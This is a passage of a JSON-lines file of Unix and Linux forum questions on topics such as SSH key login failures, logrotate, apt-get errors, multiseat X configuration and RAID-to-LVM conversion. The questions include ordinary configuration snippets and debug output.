breaking some features of Gnome3. For example, it seems like if Empathy weren't integrated with Gnome3 at all. I can't set my status with the user menu and notifications aren't showed when anyone talks to me. I've tried to remove some folders like `.gnome`, `.gnome2`, `.conf`... to reset the configuration to defaults, but it didn't work. Any idea about what's the problem?"} {"_id": "116754", "title": "How to add new gcc compiler to my Linux mint OS", "text": "I want to add new gcc cross compiler to my Linux mint. I need this compiler to compile codes that should run on a Khepera III Robot. I have searched a round but I didn't find any clear answer to my question. I'm about to graduate so I can't afford trying and ruining my current OS. I would appreciate it if anyone can help me to add this new compiler. This is what's written on the Khepera III website. The GCC cross compiler, combined with the libKorebot API, and any standard library available for the Linux operating system, provide a powerful standard development environment. An application running on KoreBot can use all the POSIX functions from the standard C library as well as many other libraries (such as libjpeg, libpthread, libcrypto, etc...). More Information about Korebot of the robot: Processor : Marvell PXA270 with XScale @ 600MHz OS : Linux OS, Angstr\u00f6m distribution (OpenEmbedded tools), kernel 2.6.24 Memory : 128MB RAM/32MB Flash"} {"_id": "116737", "title": "How do I pick up a previous modification in VIM?", "text": "If I did several modifications to the original file, i.e. 1 delete a line 2 insert some text 3 delete another line 4 delete the text added in step 2 5 insert some other text 6 ... Now I want to recover the text deleted in step 2, is there a way of showing modifications and pick up something?"} {"_id": "5544", "title": "How to lock one mouse/keyboard pair to each screen?", "text": "Using the ATI Catalyst Control Center (fglrx), I setup two desktops (the multidesktop option) via dual-head. Now I have two mice and keyboards (USB) attached which, using `xinput` can be put in two separate groups. Can I lock each group to one screen? And how can this be done permanently? Alternatively, instructions for turning this \"lite multiseat\" configuration into multiseat are appreciated as well. This is the xorg.conf as setup by the Catalyst Center: Section \"ServerLayout\" Identifier \"amdcccle Layout\" Screen 0 \"amdcccle-Screen[1]-0\" 0 0 Screen \"amdcccle-Screen[1]-1\" 1400 0 EndSection Section \"Module\" Load \"glx\" EndSection Section \"Monitor\" Identifier \"0-CRT1\" Option \"VendorName\" \"ATI Proprietary Driver\" Option \"ModelName\" \"Generic Autodetecting Monitor\" Option \"DPMS\" \"true\" Option \"PreferredMode\" \"1400x1050\" Option \"TargetRefresh\" \"60\" Option \"Position\" \"0 0\" Option \"Rotate\" \"normal\" Option \"Disable\" \"false\" EndSection Section \"Monitor\" Identifier \"0-DFP1\" Option \"VendorName\" \"ATI Proprietary Driver\" Option \"ModelName\" \"Generic Autodetecting Monitor\" Option \"DPMS\" \"true\" Option \"PreferredMode\" \"1400x1050\" Option \"TargetRefresh\" \"60\" Option \"Position\" \"0 0\" Option \"Rotate\" \"normal\" Option \"Disable\" \"false\" EndSection Section \"Device\" Identifier \"Default Device\" Driver \"fglrx\" EndSection Section \"Device\" Identifier \"amdcccle-Device[1]-0\" Driver \"fglrx\" Option \"Monitor-DFP1\" \"0-DFP1\" BusID \"PCI:1:5:0\" EndSection Section \"Device\" Identifier \"amdcccle-Device[1]-1\" Driver \"fglrx\" Option \"Monitor-CRT1\" \"0-CRT1\" BusID \"PCI:1:5:0\" Screen 1 EndSection Section \"Screen\" Identifier \"Default Screen\" DefaultDepth 24 SubSection \"Display\" EndSubSection EndSection Section \"Screen\" Identifier \"amdcccle-Screen[1]-0\" Device \"amdcccle-Device[1]-0\" DefaultDepth 24 SubSection \"Display\" Viewport 0 0 Depth 24 EndSubSection EndSection Section \"Screen\" Identifier \"amdcccle-Screen[1]-1\" Device \"amdcccle-Device[1]-1\" DefaultDepth 24 SubSection \"Display\" Viewport 0 0 Depth 24 EndSubSection EndSection Section \"DRI\" Group \"vglusers\" Mode 0660 EndSection (the latter entry is from VirtualGL, see this question, it should be irrelevant here)"} {"_id": "116750", "title": "Permanent Environment Variable with # linux Ubuntu", "text": "I am trying to set some environment variables permanently by editing the /etc/environment file. One of my environment variables has a \"#\" in it and some text after the \"#\". Everything after the \"#\" gets commented out. How do you set a variable with a \"#\" so the \"#\" is part of the variable and doesn't comment out the rest of the variable after the \"#\"? Is there a better way I should be setting environment variables so that I do not need to set them every time I log in? Thanks!"} {"_id": "75193", "title": "confuse with awk user define function", "text": "I have solved Projecteuler Problem 3, but the thing is that I am not able to create the function in awk. I have tried this working code ( **without** function): #!/usr/bin/awk -f BEGIN{ n=600851475143; x=2; # minimual prime while ( x **Possible Duplicate:** > Linux for low-end hardware and internet browsing My dad has a rather old computer that's just sitting there that I want to repurpose. Now I know could probably get a Pentium 4 very cheap but where's the fun in that? What I'm after is something that's simple to use that will run on a Pentium II or III (I can't remember) with 4GB of HDD space and probably about 512MB of RAM. What can I install on this to make it work?"} {"_id": "40590", "title": "Linux/UNIX for older (Pentium 4) laptop", "text": "> **Possible Duplicate:** > Linux for low-end hardware and internet browsing What UNIX or Linux would be the most suitable for my old laptop HP Compaq nx9010 hardware? Hardware specs: > Chipset: ATI Radeon IGP 345M (RS200MP) / ALI M1535+ > > CPU: 2.0 GHz Intel Pentium 4 processor with 400-MHz Front Side Bus and > 512-KB L2 cache > > 512 MB DDR SDRAM (256 MB SODIMM in slots 1 and 2) > > 80GB 4200 rpm > > DVD/CD-RW > > 802.11b, 802.11g It will be mainly used for Internet browsing, office work, wireless networking."} {"_id": "116733", "title": "Ubuntu 13.10 big problem with privilegies", "text": "I have HP 14 chromebook (with haswell celeron processor and 4 Gb of RAM, 4G), all is okay when I installed Ubuntu 13.10 saucy with crouton script I didn't get any errors. But when I'm trying to install something, it says that I don't have privileges, what should I do?"} {"_id": "4822", "title": "Meaning of \"rc5\" in \"linux kernel 2.6.37-rc5\"", "text": "When I visited the kernel.org website to download the latest Linux kernel, I noticed a package named `2.6.37-rc5` in the repository. What is the meaning of the \"rc5\" at the end?"} {"_id": "4823", "title": "How to make Python scripts usable on Windows?", "text": "I have some Python scripts in Linux. How can I make those scripts so that windows user can use and execute them?"} {"_id": "4820", "title": "What is the difference between Context output format and Unicode output format while taking diff?", "text": "What is the difference between Context output format and Unicode output format when taking a diff? diff -NBur dir1/ dir2/ diff -NBcr dir1/ dir2/"} {"_id": "4821", "title": "Control bandwidth with iptables", "text": "How can I control bandwidth in RHEL 5 using `iptables`?"} {"_id": "105091", "title": "Have some 2TB partition for a directory", "text": "I have 4 2TB HDD on a VmWare ESXi 5.1 server. I have httpd on /var/www/html directory on a Centos VM. can I have full size of 4 HDD (8TB) on this directory? Or I must mount every HDD to seperate directory?"} {"_id": "72919", "title": "What are the origins of rgb.txt?", "text": "Where did the list of X11 color names come from? Every resource I've found online claims the origin is unknown, but it must be recorded somewhere. The best information I've found was in an archived discussion page at Wikipedia's Wikiproject Color: > The X11 color names were designed (...) by computer scientists making things > up as they went along. and > It is true the X11 colors were the work of mostly clueless grad students Is there anything more substantial about the origins of the X11 color names?"} {"_id": "104651", "title": "Able to connect to my dell printer but cannot print to it", "text": "PC: Dell Inspiron Mini 10, Processor: Intel Atom dual core 1.6 GHz, RAM: 1GB, OS: Ubuntu 12.04 LTS 32 bit, Printer: Dell P713W So I tried to add the printer driver for my ubuntu from the following site. here I followed the instructions to the dot and completed installation. My computer can detect my printer over the network. Yet, when I try to print a test page from the computer, the print job fails on processing and stops. Here are the details. I tried pinging to my printer and they are connected together, and the printer works fine on my other computers in windows environment. What can I do to get my printer working in Ubuntu Linux? I can provide more details if requested."} {"_id": "104653", "title": "\"No such file\" warning on terminal launch", "text": "I ran a source command on a file that was missing. I forgot about it but later noticed that every time I opened a new terminal, the first line would be a warning about the missing file bash: /software/intel-composer-2011u5-x86_64/bin/compilervars.sh: No such file or directory ~ $ How do I get rid of this warning?"} {"_id": "104658", "title": "SSH connection refused from inside my LAN", "text": "I'm on Fedora 19 and I have a problem with `ssh`. Ssh is up and running and I can connect when I enter my lan ip. But when I try my server name (`blahblah.no-ip.org`) I get a connection refused. No-ip is already running as a service and is working properly (sending the correct ip). I've already set up port forwarding on my router, I also changed the port of `ssh` both on the service and on the router port forwarding (in case my beloved ISP decided to block those ports). But still I get a connection refused and when I `nmap` the hostname I see that the ssh port is closed. One thing though: I have two PCs under the same external ip (I've set up the port forwarding to the correct internal ip). When I `nmap blahblah.no-ip.org` I get a Port 23 and 80 open. 80 seems OK but I've never started telnet service on my machine. Any ideas what else to try? Router is zte zxv10 and port forwarding is correctly set up. I say this because I've already set up port forwarding for deluge and it's working properly."} {"_id": "105524", "title": "Error while running apt-get update", "text": "I am getting the below mentioned error while I am running \"sudo apt-get update\" command. Fetched 1,592 kB in 4min 5s (6,489 B/s) Reading package lists... Error! E: Encountered a section with no Package: header E: Problem with MergeList /var/lib/apt/lists/security.ubuntu.com_ubuntu_dists_precise-security_universe_i18n_Translation-en E: The package lists or status file could not be parsed or opened. I have no idea what is this? any help? Please notice that running below commands have no effect on the problem. $ sudo rm -rvf /var/lib/apt/lists/* $ sudo apt-get update First command run successfully while the other fails (complete output is here -> http://paste.ubuntu.com/6589940/). What I am able to figure out is that second command (apt-get update) download the package > \"precise-security_universe_i18n_Translation-en\" and then try to install it. Problem is in this package. I think this package is corrupted. This will also prevent opening package manager and software center. If I manually delete this package then both are opening. But then again running update command will lead to same problem. Is there anything like I can update from another server (using command line) (instead of default server used by apt-get update) where this package might be uncorrupted."} {"_id": "105527", "title": "How to make Qt Creator use KDEs color scheme", "text": "I have krita-darker color scheme as my KDE color scheme, but the text area in Qt Creator is still white. How can I force Qt Creator to use KDE color scheme (like Kate)?"} {"_id": "106219", "title": "Copy files from a list to a folder", "text": "I have a text file `abc.txt` and its contents are: /lag/cnn/org/one.txt /lag/cnn/org/two.txt /lag/cnn/org/three.txt If I use: $ tar -cvf allfiles.tar -T abc.txt I'm getting the tar of files in the list. Similarly is it possible to copy those files in `abc.txt` to a folder? I tried this: $ cp --files-from test1.txt ./Folder But it is not working."} {"_id": "58844", "title": "Readline menu-complete on OS X", "text": "I'm trying to test out using the `menu-complete` on OS X 10.8, and it's just not working. I have it in my .inputrc as such: \"\\M-s\": menu-complete I then tried to do `C-x` `C-r` to reload the `.inputrc` and it's not working. I've quit and re-opened Terminal as well, and it's not working. Is it not supported in OS X? Or am I doing it wrong? * * * **Edit** : It seems to work in `xterm` (from XQuartz), but not in Terminal"} {"_id": "58846", "title": "Viewing Linux Library / Executable version info", "text": "In Windows, EXE and DLL have version info, including at least the following fields: 1. file version 2. product version 3. internal name 4. product name 5. copyright In Linux Library / Executable: * Which fields are present? * How to view such info? * What tools/libraries to read?"} {"_id": "33440", "title": "What live distro can automatically accept usb tethering from android phone?", "text": "I want to take my old notebook while travelling. I have to boot up only from usb or cd though. I want to connect to the internet using usb tethering from my android phone (HTC Desire + cyanogen mod 7.1) If connect my android phone to my Windows 7 computer via usb cable and turn usb tethering on Windows does the rest and I am connect to the Internet. Can I be **autoconnected** (usb tethering preferably) to the **internet** using any live usb/cd linux/unix distro? Which one? I'll be creating the usb from Windows7."} {"_id": "33447", "title": "why we should use create and copytruncate together?", "text": "thegeekstuff has an example about `logrotate`. `copytruncate` will copy and truncate the original log file. Then why we should use `create`? The original log file has not been removed. /tmp/output.log { size 1k copytruncate create compress compresscmd /bin/bzip2 compressext .bz2 rotate 4 maxage 100 } Another question is what is the use of `maxage 100`? The `rotate 4` directive will delete old log files after 4 rotation."} {"_id": "58841", "title": "Why are the UIDs in Solaris so very high? Is it alright to use lower numbers?", "text": "I'm going to try out Solaris 11, and was wondering why the default UIDs for new users are so ridiculously high - e.g. starting at 65534 and then dropping downwards (65533, 65532, ...)? Is there a good reason for this? I know of course that such high numbers are \"negative\", and are commonly used for unprivileged users like the nobody-user... but these are normal privileged users. Wouldn't it be more logical to start at some much lower value (e.g. 1000) and count upwards (1001, 1002, ...)? Are there any good reason not to do this? What does more pro Solaris-administrators do when they assign UIDs to their users? Any documents/sources explaining the reason by the default numbering scheme?"} {"_id": "33445", "title": "Locked out of Linux Mint", "text": "I am running Linux Mint 12 with Cinnamon and sometimes when I leave my computer idle for a while, it will lock the screen. Usually, when I move the mouse a login prompt will pop up, but sometimes it doesn't. Then it's just a black screen with the time and my full name on a bar at the top of the screen. I can move the mouse, but nothing happens when I click on anything. When this happens I am forced to hard shutdown my computer, which is obviously not good. Does anyone know how to solve this?"} {"_id": "33444", "title": "Grub not installing properly with two seperate discs", "text": "I'm trying to set up a dual boot Windows 7/ Ubuntu 11.10 I have 3 drives Linux - sda1 Swap - sda5 Windows - sdb1 Media - sdc1 I installed Windows first so that it didn't muck up my GRUB loader. While installing GRUB, it was supposed to install to the master boot record on sda. However, after completing the installation, my computer only ever boots directly into Linux. I tried issuing a grub-install and even update-grub but grub simply never appears. Is there something special I need to do to make the grub installer aware that there is an OS on a separate disc. I've honestly never had this issue before but I think I've ever only dual booted on the same disc. Thanks in advance."} {"_id": "103181", "title": "How to mount bzip2-ed Clonezilla image without using extra drive space?", "text": "My hard drive seems to be failing and I suspect some data may be already damaged, so I decided to make an entire drive backup with Clonezilla using dd. I have chosen bzip2 compression to fit entire 750 GB drive on a 500 GB one. The image is split into 4000 MB chunks. Right now I'm working off a portable drive and I don't want to put too much strain on the dying drive. I want to recover some files onto that portable drive from the Clonezilla image I've made. My idea is to mount the compressed image so I can copy required files off it. I already know how to access compressed image without extracting it first (AVFS), so I just need to mount the `dd` image. The problem is I have no extra space available, as the smaller drive is almost full (7 GB free), so `cat`-ing archive chunks together is not an option. Is there any way to `cat` archive chunks on the fly, so I can mount the image that's inside the archive? I have found this solution, but I guess AVFS will need to seek the file. Or maybe there's some simplier solution?"} {"_id": "134978", "title": "Standard workflow to digitize magazines or books using OCR while minimizing file size?", "text": "To scan books containing just text, black&white images and clear borders, the workflow I've been using is: * digitize the source using a camera or just a scanner * use `scantailor` * finally use `djvubind` to make a small (1-7 MB) djvu-file with ocr background This works fine. However if you have magazines or books containing lots of colors in the images, structural elements, backgrounds, or images which overlap the margins of the page, using scantailor (in mixed mode) becomes very difficult, and you have to proceed manually with every single page. So, what would be a good workflow in Linux to digitize such sources and get a small _djvu_ or _pdf_ file with ocr background?"} {"_id": "122531", "title": "How can Window Managers shutdown the computer?", "text": "When logged in to a virtual shell as an unprivileged user and try to `shutdown`, `reboot`, `init 0` or `init 6` don't work. But if you're running a desktop environment, you can easily select its shutdown functionality. Why is that?"} {"_id": "134975", "title": "How are files opened in unix?", "text": "What's the internal process of opening a file? To open a file, the system converts the pathname to inode and from the inode search the corresponding driver disk portion to look for the content of the file? Is that it? I only have a vague sense of the process of opening a file, but I want more detail."} {"_id": "134972", "title": "console (driver) not opening using any of the editor", "text": "In my initramfs, I have; [root@xilinx Peta_Microzed_15_05]# ls initramfs/dev/ console [root@xilinx Peta_Microzed_15_05]# nano initramfs/dev/console [root@xilinx Peta_Microzed_15_05]# The above nano opens an empty file. So what kind of this file `console` is if it has nothing inside it ?"} {"_id": "134973", "title": "Converting RAID partitions to LVM", "text": "I have a 3TB HDD. of type RAID 5. I want to convert it to LVM. How can I do this without data loss and without needing for installing the OS again? $ df -h Filesystem Size Used Avail Use% Mounted on /dev/mapper/mpatha4 96G 3.7G 88G 5% / devtmpfs 6.9G 0 6.9G 0% /dev tmpfs 6.9G 80K 6.9G 1% /dev/shm tmpfs 6.9G 908K 6.9G 1% /run tmpfs 6.9G 0 6.9G 0% /sys/fs/cgroup tmpfs 6.9G 8.1M 6.9G 1% /tmp /dev/mapper/mpatha2 190M 66M 115M 37% /boot /dev/mapper/mpatha3 289G 2.3G 272G 1% /var /dev/mapper/mpatha6 2.3T 1.9T 381G 83% /mydata $ cat /proc/driver/cciss/cciss0 cciss0: HP Smart Array E200i Controller Board ID: 0x3211103c Firmware Version: 1.72 IRQ: 65 Logical drives: 1 Current Q depth: 0 Current # commands on controller: 0 Max Q depth since init: 1 Max # commands on controller since init: 165 Max SG entries since init: 31 Sequential access devices: 0 $ fdisk -l Disk /dev/cciss/c0d0: 3000.5 GB, 3000513552384 bytes, 5860378032 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk label type: dos Disk identifier: 0x00000000 Device Boot Start End Blocks Id System /dev/cciss/c0d0p1 * 1 4294967295 2147483647+ ee GPT Disk /dev/mapper/mpatha: 3000.5 GB, 3000513552384 bytes, 5860378032 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk label type: dos Disk identifier: 0x00000000 Device Boot Start End Blocks Id System /dev/mapper/mpatha1 * 1 4294967295 2147483647+ ee GPT ...."} {"_id": "134970", "title": "Does asynchronous disk IO affect swap usage?", "text": "I have a server application requiring usage of huge memory but can take little time. I therefore thought it should be economical to run it with a big swap and normal ram. I was reading about serving large files from disk when I learned about asynchronous disk io and heard it is better supported in FreeBSD than Linux. My question is: Does Asynchronous Disk IO affect the performance of swap space because a swap partition will be doing lot of disk reads and writes. Is there a reason to go for FreeBSD. I have reasonable experience working on Linux(Ubuntu) and prefer using it for the application."} {"_id": "57769", "title": "SSH publickey works for root but not user", "text": "> **Possible Duplicate:** > Why am I still getting a password prompt with ssh with public key > authentication? I'm setting up a remote server. The `sshd` is configured to use publickey only. There are two accounts on the remote machine with identical `.ssh/authorized_keys`, so that I can log in as either using the same key. One of the two is root, and when I try: ssh -i /path/to/privatekey root@remote.server I get in, no problem. However, when I try the other (non-privelleged) user: ssh -i /path/to/privatekey bob@remote.server It fails. `-v` reveals: debug1: SSH2_MSG_SERVICE_REQUEST sent debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey debug1: Next authentication method: publickey debug1: Offering DSA public key: /path/to/privatekey debug1: Authentications that can continue: publickey debug1: Trying private key: /path/to/privatekey **debug1: key_parse_private_pem: PEM_read_PrivateKey failed** debug1: read PEM private key done: type Enter passphrase for key '/path/to/privatekey': The asterisked line does not occur with the successful root@server login. This is also strange since `ssh-agent` already has the passphrase for this key; I am not asked with the root@server login. The failed bob@server login ends: debug1: read PEM private key done: type DSA debug1: Authentications that can continue: publickey debug1: No more authentication methods to try. Permission denied (publickey). Permissions, etc. on `/home/bob/.ssh` are correct _[but no execute bit on .ssh directory, see comments]_. This was actually a system upgrade/reinstall, and I have a backup of the previous `/etc` including the `sshd` configuration. I haven't changed anything (although when I allow password authentification, bob can get in), and this was how I was using the system before via git -- so I have a bunch of project `git remote` ids keyed to use bob@server via ssh, and don't want to have to change those because I can't get `sshd` to work the way it did previously..."} {"_id": "45042", "title": "Server does not accept public key for ssh login without password", "text": "> **Possible Duplicate:** > Why am I still getting a password prompt with ssh with public key > authentication? I have ssh access to two sever. One old one and one new one. For the old one I use the tutorial SSH login without password to login without typing the password every time. For the new machine I followed the tutorial again, but this time it is not working. I looked at the debug output from ssh (`-v` option) and it seems to me that the new server does not `accept` my public key. But I checked and bot `authorized_keys` are the same, I even used `md5sum`. What could be the problem and how could I fix this? **Debug output for old server where it does work (snippet):** debug1: Authentications that can continue: publickey,password debug1: Next authentication method: publickey debug1: Offering RSA public key: /home/NICK/.ssh/id_rsa debug1: Server accepts key: pkalg ssh-rsa blen 277 **Debug output for new server where it does not work (snippet):** debug1: Authentications that can continue: publickey,password debug1: Next authentication method: publickey debug1: Offering RSA public key: /home/NICK/.ssh/id_rsa debug1: Authentications that can continue: publickey,password debug1: Trying private key: /home/NICK/.ssh/id_dsa [ **UPDATE] Ownership of authorized_keys on remote** NICK@server-new:~/.ssh$ ls -l total 4 -rwx------ 1 NICK NICK 404 2012-08-08 16:11 authorized_keys * * * **Complete debug output for the not working server:** OpenSSH_5.9p1 Debian-5ubuntu1, OpenSSL 1.0.1 14 Mar 2012 debug1: Reading configuration data /home/NICK/.ssh/config debug1: /home/NICK/.ssh/config line 1: Applying options for foo2 debug1: Reading configuration data /etc/ssh/ssh_config debug1: /etc/ssh/ssh_config line 19: Applying options for * debug1: Connecting to foo-serv2.cs.bar.it [XXX.XXX.XXX.XXX] port 22. debug1: Connection established. debug1: identity file /home/NICK/.ssh/id_rsa type 1 debug1: Checking blacklist file /usr/share/ssh/blacklist.RSA-2048 debug1: Checking blacklist file /etc/ssh/blacklist.RSA-2048 debug1: identity file /home/NICK/.ssh/id_rsa-cert type -1 debug1: identity file /home/NICK/.ssh/id_dsa type -1 debug1: identity file /home/NICK/.ssh/id_dsa-cert type -1 debug1: identity file /home/NICK/.ssh/id_ecdsa type -1 debug1: identity file /home/NICK/.ssh/id_ecdsa-cert type -1 debug1: Remote protocol version 2.0, remote software version OpenSSH_5.5p1 Debian-4ubuntu6 debug1: match: OpenSSH_5.5p1 Debian-4ubuntu6 pat OpenSSH* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1 debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: server->client aes128-ctr hmac-md5 none debug1: kex: client->server aes128-ctr hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug1: Server host key: RSA XXX debug1: Host 'foo-serv2.cs.bar.it' is known and matches the RSA host key. debug1: Found key in /home/NICK/.ssh/known_hosts:34 debug1: ssh_rsa_verify: signature correct debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: SSH2_MSG_NEWKEYS received debug1: Roaming not allowed by server debug1: SSH2_MSG_SERVICE_REQUEST sent debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey,password debug1: Next authentication method: publickey debug1: Offering RSA public key: /home/NICK/.ssh/id_rsa debug1: Authentications that can continue: publickey,password debug1: Trying private key: /home/NICK/.ssh/id_dsa debug1: Trying private key: /home/NICK/.ssh/id_ecdsa debug1: Next authentication method: password"} {"_id": "124062", "title": "SSH Key not working", "text": "I created an SSH key on my laptop using `ssh-keygen` and then put it on some production servers so that I don' have to type my password every time. On some servers it is working well, but on some it's still asking for my password. Why is that? Even though the `.ssh/*` permissions are for the users. PubkeyAuth is set to Yes: RSAAuthentication yes PubkeyAuthentication yes AuthorizedKeysFile .ssh/authorized_keys ssh -vv output: OpenSSH_5.9p1 Debian-5ubuntu1.1, OpenSSL 1.0.1 14 Mar 2012 debug1: Reading configuration data /etc/ssh/ssh_config debug1: /etc/ssh/ssh_config line 19: Applying options for * debug2: ssh_connect: needpriv 0 debug1: Connecting to xxx.xxx.xxx.xxx [xxx.xxx.xxx.xxx] port 22. debug1: Connection established. debug1: identity file /home/omipenguin/.ssh/id_rsa type 1 debug1: Checking blacklist file /usr/share/ssh/blacklist.RSA-2048 debug1: Checking blacklist file /etc/ssh/blacklist.RSA-2048 debug1: identity file /home/omipenguin/.ssh/id_rsa-cert type -1 debug1: identity file /home/omipenguin/.ssh/id_dsa type -1 debug1: identity file /home/omipenguin/.ssh/id_dsa-cert type -1 debug1: identity file /home/omipenguin/.ssh/id_ecdsa type -1 debug1: identity file /home/omipenguin/.ssh/id_ecdsa-cert type -1 debug1: Remote protocol version 2.0, remote software version OpenSSH_4.3 debug1: match: OpenSSH_4.3 pat OpenSSH_4* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.1 debug2: fd 3 setting O_NONBLOCK debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug2: kex_parse_kexinit: ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 debug2: kex_parse_kexinit: ssh-rsa-cert-v01@openssh.com,ssh-rsa-cert-v00@openssh.com,ssh-rsa,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-dss-cert-v00@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-dss debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se debug2: kex_parse_kexinit: aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-sha2-256,hmac-sha2-256-96,hmac-sha2-512,hmac-sha2-512-96,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-sha2-256,hmac-sha2-256-96,hmac-sha2-512,hmac-sha2-512-96,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib debug2: kex_parse_kexinit: none,zlib@openssh.com,zlib debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: kex_parse_kexinit: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1 debug2: kex_parse_kexinit: ssh-rsa,ssh-dss debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour128,arcfour256,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr debug2: kex_parse_kexinit: aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour128,arcfour256,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se,aes128-ctr,aes192-ctr,aes256-ctr debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96 debug2: kex_parse_kexinit: none,zlib@openssh.com debug2: kex_parse_kexinit: none,zlib@openssh.com debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: debug2: kex_parse_kexinit: first_kex_follows 0 debug2: kex_parse_kexinit: reserved 0 debug2: mac_setup: found hmac-md5 debug1: kex: server->client aes128-ctr hmac-md5 none debug2: mac_setup: found hmac-md5 debug1: kex: client->server aes128-ctr hmac-md5 none debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(1024<1024<8192) sent debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP debug2: dh_gen_key: priv key bits set: 121/256 debug2: bits set: 527/1024 debug1: SSH2_MSG_KEX_DH_GEX_INIT sent debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY debug1: Server host key: RSA d2:5c:eb:cf:9a:55:85:ce:a1:00:71:c8:92:bb:25:fb debug1: Host 'xxx.xxx.xxx.xxx' is known and matches the RSA host key. debug1: Found key in /home/omipenguin/.ssh/known_hosts:14 debug2: bits set: 540/1024 debug1: ssh_rsa_verify: signature correct debug2: kex_derive_keys debug2: set_newkeys: mode 1 debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug2: set_newkeys: mode 0 debug1: SSH2_MSG_NEWKEYS received debug1: Roaming not allowed by server debug1: SSH2_MSG_SERVICE_REQUEST sent debug2: service_accept: ssh-userauth debug1: SSH2_MSG_SERVICE_ACCEPT received debug2: key: /home/omipenguin/.ssh/id_rsa (0x7fe924a9f3f0) debug2: key: /home/omipenguin/.ssh/id_dsa ((nil)) debug2: key: /home/omipenguin/.ssh/id_ecdsa ((nil)) debug1: Authentications that can continue: publickey,password debug1: Next authentication method: publickey debug1: Offering RSA public key: /home/omipenguin/.ssh/id_rsa debug2: we sent a publickey packet, wait for reply debug1: Authentications that can continue: publickey,password debug1: Trying private key: /home/omipenguin/.ssh/id_dsa debug1: Trying private key: /home/omipenguin/.ssh/id_ecdsa debug2: we did not send a packet, disable method debug1: Next authentication method: password File and directory permissions: drwxrwxr-x 2 emerg wheel 4096 Apr 10 11:51 .ssh/ -rw-r--r-- 1 emerg emerg 403 Apr 10 11:51 .ssh/authorized_keys"} {"_id": "111643", "title": "ssh key doesn't work for one server but works for another", "text": "debug ssh works > Authentications that can continue: publickey debug1: Next authentication method: publickey debug1: Offering public key: /home/vinatia/.ssh/id_rsa debug1: Server accepts key: pkalg ssh-rsa blen 277 debug1: Authentication succeeded (publickey). debug1: channel 0: new [client-session] debug1: Requesting no-more-sessions@openssh.com debug1: Entering interactive session. debug ssh doesn't work debug1: Authentications that can continue: publickey debug1: Next authentication method: publickey debug1: Offering public key: /home/vinatia/.ssh/id_rsa debug1: Authentications that can continue: publickey debug1: No more authentication methods to try."} {"_id": "36542", "title": "Invoking cp from within BASH and using the -u option", "text": "Is there a way to have `cp`'s `\\--update` option print files that did not copy because the source directory contained a newer version of the file?"} {"_id": "36544", "title": "Unabled to get rid of BIND 9 chroot", "text": "I had installed bind-chroot from yum not long ago, and saw that there were errors in the daily logs from named. Under further investigation, I noticed a directory loop. The named files resided under **/var/named** , with the chroot being in **/var/named/chroot**. For whatever reason, **/var/named/chroot/var/named** just leads back to **/var/named**. ls -al doesn't show any link between the directories. **OS:** CentOS 6.2 **uname -a:** Linux plutonium 2.6.32-220.7.1.el6.x86_64 #1 SMP Wed Mar 7 00:52:02 GMT 2012 x86_64 x86_64 x86_64 